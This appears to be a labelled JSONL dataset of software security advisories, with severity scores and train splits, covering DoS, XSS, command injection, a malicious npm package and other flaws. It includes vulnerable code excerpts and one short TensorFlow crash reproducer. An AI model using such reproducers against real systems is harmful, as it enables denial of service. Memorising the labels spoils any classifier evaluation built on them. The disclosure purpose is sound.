-{"id": "05bf082ff58cdb7a7d9f", "text": "Ox gem crashes due to a crafted input\n\nIn the Ox gem 2.8.0 for Ruby, the process crashes with a segmentation fault when a crafted input is supplied to `parse_obj`. NOTE: the vendor has stated \"Ox should handle the error more gracefully\" but has not confirmed a security implication.", "text_raw": "Ox gem crashes due to a crafted input\n\n[Severity: HIGH]\n\nIn the Ox gem 2.8.0 for Ruby, the process crashes with a segmentation fault when a crafted input is supplied to `parse_obj`. NOTE: the vendor has stated \"Ox should handle the error more gracefully\" but has not confirmed a security implication.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-11-21", "split": "train"}
-{"id": "648ae431e592bcafaf26", "text": "Denial of Service Vulnerability in Action View\n\n# Denial of Service Vulnerability in Action View\n\nImpact \n------ \nSpecially crafted accept headers can cause the Action View template location code to consume 100% CPU, causing the server unable to process requests.  This impacts all Rails applications that render views.\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\nReleases \n-------- \nThe 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, and 4.2.11.1 releases are available at the normal locations.\n\nWorkarounds \n----------- \nThis vulnerability can be mitigated by wrapping `render` calls with `respond_to` blocks.  For example, the following example is vulnerable:\n\n``` ruby\nclass UserController < ApplicationController \n  def index \n    render \"index\" \n  end \nend \n```\n\nBut the following code is not vulnerable:\n\n```ruby \nclass UserController < ApplicationController \n  def index \n    respond_to |format| \n      format.html { render \"index\" } \n    end \n  end \nend \n```\n\nImplicit rendering is impacted, so this code is vulnerable:\n\n```ruby \nclass UserController < ApplicationController \n  def index \n  end \nend \n```\n\nBut can be changed this this:\n\n```ruby \nclass UserController < ApplicationController \n  def index \n    respond_to |format| \n      format.html { render \"index\" } \n    end \n  end \nend \n```\n\nAlternatively to specifying the format, the following monkey patch can be applied in an initializer:\n\n``` \n$ cat config/initializers/formats_filter.rb \n# frozen_string_literal: true\n\nActionDispatch::Request.prepend(Module.new do \n  def formats \n    super().select do |format| \n      format.symbol || format.ref == \"*/*\" \n    end \n  end \nend) \n```\n\nPlease note that only the 5.2.x, 5.1.x, 5.0.x, and 4.2.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nAlso note that the patches for this vulnerability are the same as CVE-2019-5418.\n\nCredits \n------- \nThanks to John Hawthorn <john@hawthorn.email> of GitHub", "text_raw": "Denial of Service Vulnerability in Action View\n\n[Severity: HIGH]\n\n# Denial of Service Vulnerability in Action View\n\nImpact \n------ \nSpecially crafted accept headers can cause the Action View template location code to consume 100% CPU, causing the server unable to process requests.  This impacts all Rails applications that render views. \n\nAll users running an affected release should either upgrade or use one of the workarounds immediately. \n\nReleases \n-------- \nThe 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, and 4.2.11.1 releases are available at the normal locations. \n\nWorkarounds \n----------- \nThis vulnerability can be mitigated by wrapping `render` calls with `respond_to` blocks.  For example, the following example is vulnerable: \n\n``` ruby\nclass UserController < ApplicationController \n  def index \n    render \"index\" \n  end \nend \n``` \n\nBut the following code is not vulnerable: \n\n```ruby \nclass UserController < ApplicationController \n  def index \n    respond_to |format| \n      format.html { render \"index\" } \n    end \n  end \nend \n``` \n\nImplicit rendering is impacted, so this code is vulnerable: \n\n```ruby \nclass UserController < ApplicationController \n  def index \n  end \nend \n``` \n\nBut can be changed this this: \n\n```ruby \nclass UserController < ApplicationController \n  def index \n    respond_to |format| \n      format.html { render \"index\" } \n    end \n  end \nend \n``` \n\nAlternatively to specifying the format, the following monkey patch can be applied in an initializer: \n\n``` \n$ cat config/initializers/formats_filter.rb \n# frozen_string_literal: true \n\nActionDispatch::Request.prepend(Module.new do \n  def formats \n    super().select do |format| \n      format.symbol || format.ref == \"*/*\" \n    end \n  end \nend) \n``` \n\nPlease note that only the 5.2.x, 5.1.x, 5.0.x, and 4.2.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases. \n\nAlso note that the patches for this vulnerability are the same as CVE-2019-5418. \n\nCredits \n------- \nThanks to John Hawthorn <john@hawthorn.email> of GitHub ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-13", "split": "train"}
-{"id": "d24f6eaab929cd596dd2", "text": "Sensitive Data Exposure in put\n\nAll versions of `put` are vulnerable to Uninitialized Memory Exposure. The package incorrectly calculates the allocated Buffer size and does not trim the bytes written, which may allow attackers to access uninitialized memory containing sensitive data. This vulnerability only affects versions of Node.js <=6.x.\n\n## Recommendation\n\nUpgrade your Node.js version or consider using an alternative package.", "text_raw": "Sensitive Data Exposure in put\n\n[Severity: LOW]\n\nAll versions of `put` are vulnerable to Uninitialized Memory Exposure. The package incorrectly calculates the allocated Buffer size and does not trim the bytes written, which may allow attackers to access uninitialized memory containing sensitive data. This vulnerability only affects versions of Node.js <=6.x.\n\n\n## Recommendation\n\nUpgrade your Node.js version or consider using an alternative package.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "c7d0ab0339a8d387f5e8", "text": "Unsound casting in flatbuffers\n\nThe implementation of impl Follow for bool allows to reinterpret arbitrary bytes as a bool.\n\nIn Rust bool has stringent requirements for its in-memory representation. Use of this function allows to violate these requirements and invoke undefined behaviour in safe code.", "text_raw": "Unsound casting in flatbuffers\n\n[Severity: CRITICAL]\n\nThe implementation of impl Follow for bool allows to reinterpret arbitrary bytes as a bool.\n\nIn Rust bool has stringent requirements for its in-memory representation. Use of this function allows to violate these requirements and invoke undefined behaviour in safe code.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "5ea202ab5f194da18512", "text": "Plone Sandbox Escape\n\nPlone 4.x through 4.3.11 and 5.x through 5.0.6 allow remote attackers to bypass a sandbox protection mechanism and obtain sensitive information by leveraging the Python string format method.", "text_raw": "Plone Sandbox Escape\n\n[Severity: MEDIUM]\n\nPlone 4.x through 4.3.11 and 5.x through 5.0.6 allow remote attackers to bypass a sandbox protection mechanism and obtain sensitive information by leveraging the Python string format method.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "fc9f883c117110da6115", "text": "Pillow Temporary file name leakage\n\nThe (1) JpegImagePlugin.py and (2) EpsImagePlugin.py scripts in Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.3.1 uses the names of temporary files on the command line, which makes it easier for local users to conduct symlink attacks by listing the processes.", "text_raw": "Pillow Temporary file name leakage\n\n[Severity: MEDIUM]\n\nThe (1) JpegImagePlugin.py and (2) EpsImagePlugin.py scripts in Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.3.1 uses the names of temporary files on the command line, which makes it easier for local users to conduct symlink attacks by listing the processes.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-18", "split": "train"}
-{"id": "2b0ab34c046d9011d57e", "text": "Double free in endian_trait\n\nAn issue was discovered in the endian_trait crate through 2021-01-04 for Rust. A double drop can occur when a user-provided Endian impl panics.", "text_raw": "Double free in endian_trait\n\n[Severity: HIGH]\n\nAn issue was discovered in the endian_trait crate through 2021-01-04 for Rust. A double drop can occur when a user-provided Endian impl panics.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8535b3daab013f52690a", "text": "Path Traversal in resolve-path\n\nVersions of `resolve-path` before 1.4.0 are vulnerable to path traversal. `resolve-path` relative path resolving suffers from a lack of file path sanitization for windows based paths.\n\n## Recommendation\n\nUpdate to version 1.4.0 or later.", "text_raw": "Path Traversal in resolve-path\n\n[Severity: HIGH]\n\nVersions of `resolve-path` before 1.4.0 are vulnerable to path traversal. `resolve-path` relative path resolving suffers from a lack of file path sanitization for windows based paths.\n\n\n## Recommendation\n\nUpdate to version 1.4.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "e0c8d49a35917e27a727", "text": "Heap buffer overflow in `UnsortedSegmentSum` in TensorFlow\n\n### Impact\n\nA heap buffer overflow in `UnsortedSegmentSum` can be produced when the `Index` template argument is `int32`. In this case `data_size` and `num_segments` fields are truncated from `int64` to `int32` and can produce negative numbers, resulting in accessing out of bounds heap memory.\n\nThis is unlikely to be exploitable and was detected and fixed internally. We are making the security advisory only to notify users that it is better to update to TensorFlow 1.15 or 2.0 or later as these versions already have this fixed.\n\n### Patches\n\nPatched by db4f9717c41bccc3ce10099ab61996b246099892 and released in all official releases after 1.15 and 2.0.\n\n### For more information\nPlease consult [`SECURITY.md`](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Heap buffer overflow in `UnsortedSegmentSum` in TensorFlow\n\n[Severity: LOW]\n\n### Impact\n\nA heap buffer overflow in `UnsortedSegmentSum` can be produced when the `Index` template argument is `int32`. In this case `data_size` and `num_segments` fields are truncated from `int64` to `int32` and can produce negative numbers, resulting in accessing out of bounds heap memory.\n\nThis is unlikely to be exploitable and was detected and fixed internally. We are making the security advisory only to notify users that it is better to update to TensorFlow 1.15 or 2.0 or later as these versions already have this fixed.\n\n### Patches\n\nPatched by db4f9717c41bccc3ce10099ab61996b246099892 and released in all official releases after 1.15 and 2.0.\n\n### For more information\nPlease consult [`SECURITY.md`](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-12-16", "split": "train"}
-{"id": "16c9a5a1f87ffcf19a16", "text": "Open Redirect in hekto\n\nVersions of `hekto` before 0.2.4 are vulnerable to open redirect when a domain name is used as part of the `.html` filename.\n\n## Recommendation\n\nUpdate to version 0.2.4 or later.", "text_raw": "Open Redirect in hekto\n\n[Severity: MEDIUM]\n\nVersions of `hekto` before 0.2.4 are vulnerable to open redirect when a domain name is used as part of the `.html` filename.\n\n\n## Recommendation\n\nUpdate to version 0.2.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "7d333b98604a93c91142", "text": "Exposure of Sensitive Information to an Unauthorized Actor in ansible\n\nA flaw was found in ansible 2.8.0 before 2.8.4. Fields managing sensitive data should be set as such by no_log feature. Some of these fields in GCP modules are not set properly. service_account_contents() which is common class for all gcp modules is not setting no_log to True. Any sensitive data managed by that function would be leak as an output when running ansible playbooks.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in ansible\n\n[Severity: HIGH]\n\nA flaw was found in ansible 2.8.0 before 2.8.4. Fields managing sensitive data should be set as such by no_log feature. Some of these fields in GCP modules are not set properly. service_account_contents() which is common class for all gcp modules is not setting no_log to True. Any sensitive data managed by that function would be leak as an output when running ansible playbooks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "24856d48465aa043a801", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.aoju.bus.proxy.provider.remoting.RmiProvider (aka bus-proxy).", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.aoju.bus.proxy.provider.remoting.RmiProvider (aka bus-proxy).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-15", "split": "train"}
-{"id": "2f7abb96085472238182", "text": "Padding Oracle Attack due to Observable Timing Discrepancy in jose-node-cjs-runtime\n\n### Impact\n\n[AES_CBC_HMAC_SHA2 Algorithm](https://tools.ietf.org/html/rfc7518#section-5.2) (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed `JWEDecryptionFailed` would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).\n\n### Patches\n\nA patch was released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are `>=3.11.4`.\n\nUsers should upgrade to `^3.11.4`.\n\n### Credits\nThanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.", "text_raw": "Padding Oracle Attack due to Observable Timing Discrepancy in jose-node-cjs-runtime\n\n[Severity: MEDIUM]\n\n### Impact\n\n[AES_CBC_HMAC_SHA2 Algorithm](https://tools.ietf.org/html/rfc7518#section-5.2) (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed `JWEDecryptionFailed` would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).\n\n### Patches\n\nA patch was released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are `>=3.11.4`.\n\nUsers should upgrade to `^3.11.4`.\n\n### Credits\nThanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "963a22987fe932d735cd", "text": "Reverse Tabnapping in swagger-ui\n\nVersions of `swagger-ui` prior to 3.18.0 are vulnerable to [Reverse Tabnapping](https://www.owasp.org/index.php/Reverse_Tabnabbing). The package uses `target='_blank'` in anchor tags, allowing attackers to access `window.opener` for the original page. This is commonly used for phishing attacks.\n\n## Recommendation\n\nUpgrade to version 3.18.0 or later.", "text_raw": "Reverse Tabnapping in swagger-ui\n\n[Severity: MEDIUM]\n\nVersions of `swagger-ui` prior to 3.18.0 are vulnerable to [Reverse Tabnapping](https://www.owasp.org/index.php/Reverse_Tabnabbing). The package uses `target='_blank'` in anchor tags, allowing attackers to access `window.opener` for the original page. This is commonly used for phishing attacks.\n\n\n## Recommendation\n\nUpgrade to version 3.18.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-20", "split": "train"}
-{"id": "9da96119db8ff9163a4b", "text": "Cross-Site Scripting in ids-enterprise\n\nVersions of `ids-enterprise` prior to 4.18.2 are vulnerable to Cross-Site Scripting (XSS). Script tags in the `soho-autocomplete` component are not properly encoded and may allow attackers to execute arbitrary JavaScript.\n\n## Recommendation\n\nUpgrade to version 4.18.2 or later", "text_raw": "Cross-Site Scripting in ids-enterprise\n\n[Severity: HIGH]\n\nVersions of `ids-enterprise` prior to 4.18.2 are vulnerable to Cross-Site Scripting (XSS). Script tags in the `soho-autocomplete` component are not properly encoded and may allow attackers to execute arbitrary JavaScript.\n\n\n## Recommendation\n\nUpgrade to version 4.18.2 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "b00b5ac4d4bc0a2f9a8b", "text": "Improper Authorization in Strapi\n\nIn Strapi before 3.2.5, there is no `admin::hasPermissions` restriction for CTB (aka content-type-builder) routes.", "text_raw": "Improper Authorization in Strapi\n\n[Severity: HIGH]\n\nIn Strapi before 3.2.5, there is no `admin::hasPermissions` restriction for CTB (aka content-type-builder) routes.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-29", "split": "train"}
-{"id": "cc5893658451d1ff827d", "text": "Prototype Pollution in immer\n\nThis affects the package immer before 9.0.6. A type confusion vulnerability can lead to a bypass of CVE-2020-28477 when the user-provided keys used in the path parameter are arrays. In particular, this bypass is possible because the condition `(p === \"__proto__\" || p === \"constructor\")` in `applyPatches_` returns false if `p` is `['__proto__']` (or `['constructor']`). The `===` operator (strict equality operator) returns false if the operands have different type.", "text_raw": "Prototype Pollution in immer\n\n[Severity: CRITICAL]\n\nThis affects the package immer before 9.0.6. A type confusion vulnerability can lead to a bypass of CVE-2020-28477 when the user-provided keys used in the path parameter are arrays. In particular, this bypass is possible because the condition `(p === \"__proto__\" || p === \"constructor\")` in `applyPatches_` returns false if `p` is `['__proto__']` (or `['constructor']`). The `===` operator (strict equality operator) returns false if the operands have different type.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "dc499ade5d2df506f534", "text": "Sony PC Companion 2.1 (Load()) Stack-based Unicode Buffer Overload SEH", "text_raw": "Sony PC Companion 2.1 (Load()) Stack-based Unicode Buffer Overload SEH\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-12-20", "split": "train"}
-{"id": "b98001398d0075de54ad", "text": "NPE in TFLite\n\n### Impact\nThe implementation of SVDF in TFLite is [vulnerable to a null pointer error](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/svdf.cc#L300-L313):\n\n```cc\n  TfLiteTensor* state = GetVariableInput(context, node, kStateTensor);\n  // ...\n  GetTensorData<float>(state)\n```\n\nThe [`GetVariableInput` function](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/kernel_util.cc#L115-L119) can return a null pointer but `GetTensorData` assumes that the argument is always a valid tensor.\n\n```cc\nTfLiteTensor* GetVariableInput(TfLiteContext* context, const TfLiteNode* node,\n                               int index) {\n  TfLiteTensor* tensor = GetMutableInput(context, node, index);\n  return tensor->is_variable ? tensor : nullptr;\n}\n```\n\nFurthermore, because `GetVariableInput` calls [`GetMutableInput`](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/kernel_util.cc#L82-L90) which might return `nullptr`, the `tensor->is_variable` expression can also trigger a null pointer exception.\n\n### Patches\nWe have patched the issue in GitHub commit [5b048e87e4e55990dae6b547add4dae59f4e1c76](https://github.com/tensorflow/tensorflow/commit/5b048e87e4e55990dae6b547add4dae59f4e1c76).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "NPE in TFLite\n\n[Severity: HIGH]\n\n### Impact\nThe implementation of SVDF in TFLite is [vulnerable to a null pointer error](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/svdf.cc#L300-L313):\n\n```cc\n  TfLiteTensor* state = GetVariableInput(context, node, kStateTensor);\n  // ...\n  GetTensorData<float>(state)\n```\n\nThe [`GetVariableInput` function](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/kernel_util.cc#L115-L119) can return a null pointer but `GetTensorData` assumes that the argument is always a valid tensor.\n\n```cc\nTfLiteTensor* GetVariableInput(TfLiteContext* context, const TfLiteNode* node,\n                               int index) {\n  TfLiteTensor* tensor = GetMutableInput(context, node, index);\n  return tensor->is_variable ? tensor : nullptr;\n}\n```\n\nFurthermore, because `GetVariableInput` calls [`GetMutableInput`](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/kernel_util.cc#L82-L90) which might return `nullptr`, the `tensor->is_variable` expression can also trigger a null pointer exception.\n\n### Patches\nWe have patched the issue in GitHub commit [5b048e87e4e55990dae6b547add4dae59f4e1c76](https://github.com/tensorflow/tensorflow/commit/5b048e87e4e55990dae6b547add4dae59f4e1c76).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a46e234cd9c547760908", "text": "Stored Cross-Site Scripting vulnerability in admin component of DotNetNuke\n\nCross-site scripting (XSS) is possible in DNN (formerly DotNetNuke) before 9.4.0 by remote authenticated users via the Display Name field in the admin notification function.", "text_raw": "Stored Cross-Site Scripting vulnerability in admin component of DotNetNuke\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) is possible in DNN (formerly DotNetNuke) before 9.4.0 by remote authenticated users via the Display Name field in the admin notification function.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-18", "split": "train"}
-{"id": "b0de3fd8b96544f5cb41", "text": "Malicious Package in js-sia3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-sia3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "76929ff6e2b261be91d7", "text": "Incomplete validation in `SparseReshape`\n\n### Impact\nIncomplete validation in `SparseReshape` results in a denial of service based on a `CHECK`-failure.\n\n```python\nimport tensorflow as tf\n\ninput_indices = tf.constant(41, shape=[1, 1], dtype=tf.int64)\ninput_shape = tf.zeros([11], dtype=tf.int64)\nnew_shape = tf.zeros([1], dtype=tf.int64)\n\ntf.raw_ops.SparseReshape(input_indices=input_indices,\n    input_shape=input_shape,\n    new_shape=new_shape)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e87b51ce05c3eb172065a6ea5f48415854223285/tensorflow/core/kernels/sparse_reshape_op.cc#L40) has no validation that the input arguments specify a valid sparse tensor.\n\n### Patches \nWe have patched the issue in GitHub commit [1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6](https://github.com/tensorflow/tensorflow/commit/1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are the only affected versions.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Incomplete validation in `SparseReshape`\n\n[Severity: LOW]\n\n### Impact\nIncomplete validation in `SparseReshape` results in a denial of service based on a `CHECK`-failure.\n\n```python\nimport tensorflow as tf\n\ninput_indices = tf.constant(41, shape=[1, 1], dtype=tf.int64)\ninput_shape = tf.zeros([11], dtype=tf.int64)\nnew_shape = tf.zeros([1], dtype=tf.int64)\n\ntf.raw_ops.SparseReshape(input_indices=input_indices,\n    input_shape=input_shape,\n    new_shape=new_shape)\n``` \n    \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e87b51ce05c3eb172065a6ea5f48415854223285/tensorflow/core/kernels/sparse_reshape_op.cc#L40) has no validation that the input arguments specify a valid sparse tensor.\n\n### Patches \nWe have patched the issue in GitHub commit [1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6](https://github.com/tensorflow/tensorflow/commit/1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are the only affected versions.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution \nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "3cf64db57798d3c58d37", "text": "sprout Arbitrary Code Execution vulnerability\n\nThe `unpack_zip` function in `archive_unpacker.rb` in the sprout gem 0.7.246 for Ruby allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a (1) filename or (2) path.", "text_raw": "sprout Arbitrary Code Execution vulnerability\n\n[Severity: HIGH]\n\nThe `unpack_zip` function in `archive_unpacker.rb` in the sprout gem 0.7.246 for Ruby allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a (1) filename or (2) path.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "2e7af68bae3bf347ea49", "text": "Command Injection in Centreon\n\nCentreon before 19.04.15 allows remote attackers to execute arbitrary OS commands by placing shell metacharacters in RRDdatabase_status_path (via a main.get.php request) and then visiting the include/views/graphs/graphStatus/displayServiceStatus.php page.", "text_raw": "Command Injection in Centreon\n\n[Severity: HIGH]\n\nCentreon before 19.04.15 allows remote attackers to execute arbitrary OS commands by placing shell metacharacters in RRDdatabase_status_path (via a main.get.php request) and then visiting the include/views/graphs/graphStatus/displayServiceStatus.php page.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-22", "split": "train"}
-{"id": "116522665fd090f30ae8", "text": "Update unsound DrainFilter and RString::retain\n\nAn issue was discovered in the abi_stable crate before 0.9.1 for Rust. DrainFilter lacks soundness because of a double drop.", "text_raw": "Update unsound DrainFilter and RString::retain\n\n[Severity: HIGH]\n\nAn issue was discovered in the abi_stable crate before 0.9.1 for Rust. DrainFilter lacks soundness because of a double drop.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a7a60c4ebd68587b1a63", "text": "Missing Authorization in Jenkins S3 publisher Plugin\n\nJenkins S3 publisher Plugin prior to 0.11.7 and 0.11.5.1 does not perform a permission check in an HTTP endpoint.\n\nThis allows attackers with Overall/Read permission to obtain the list of configured profiles.\n\nS3 publisher Plugin 0.11.7 and 0.11.5.1 performs permission checks when providing a list of configured profiles.", "text_raw": "Missing Authorization in Jenkins S3 publisher Plugin\n\n[Severity: MEDIUM]\n\nJenkins S3 publisher Plugin prior to 0.11.7 and 0.11.5.1 does not perform a permission check in an HTTP endpoint.\n\nThis allows attackers with Overall/Read permission to obtain the list of configured profiles.\n\nS3 publisher Plugin 0.11.7 and 0.11.5.1 performs permission checks when providing a list of configured profiles.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "7ccb703f4cf08616e6af", "text": "Vulnerability in list function leads to arbitrary code execution via filePath parameters\n\naaptjs is a node wraper for aapt. An issue was discovered in the list function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "text_raw": "Vulnerability in list function leads to arbitrary code execution via filePath parameters\n\n[Severity: CRITICAL]\n\naaptjs is a node wraper for aapt. An issue was discovered in the list function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-02", "split": "train"}
-{"id": "26a03863008da6ed393a", "text": "Tinfoil Devise-two-factor does not \"burn\" a successfully validated one-time password (OTP)\n\nTinfoil Devise-two-factor before 2.0.0 does not strictly follow [RFC 6238 § 5.2 ](https://datatracker.ietf.org/doc/html/rfc6238#section-5.2) and does not \"burn\" a successfully validated one-time password (aka OTP), which allows physically proximate attackers with a target user's login credentials to log in as said user by obtaining the OTP through performing a man-in-the-middle attack between the provider and verifier, or \"shoulder surfing\", and replaying the OTP in the current time-step.", "text_raw": "Tinfoil Devise-two-factor does not \"burn\" a successfully validated one-time password (OTP)\n\n[Severity: MEDIUM]\n\nTinfoil Devise-two-factor before 2.0.0 does not strictly follow [RFC 6238 § 5.2 ](https://datatracker.ietf.org/doc/html/rfc6238#section-5.2) and does not \"burn\" a successfully validated one-time password (aka OTP), which allows physically proximate attackers with a target user's login credentials to log in as said user by obtaining the OTP through performing a man-in-the-middle attack between the provider and verifier, or \"shoulder surfing\", and replaying the OTP in the current time-step.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-28", "split": "train"}
-{"id": "90359af07f66a8531116", "text": "Cross-Site Request Forgery (CSRF) in Apache Airflow\n\nIn Apache Airflow 1.8.2 and earlier, a CSRF vulnerability allowed for a remote command injection on a default install of Airflow.", "text_raw": "Cross-Site Request Forgery (CSRF) in Apache Airflow\n\n[Severity: HIGH]\n\nIn Apache Airflow 1.8.2 and earlier, a CSRF vulnerability allowed for a remote command injection on a default install of Airflow.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-25", "split": "train"}
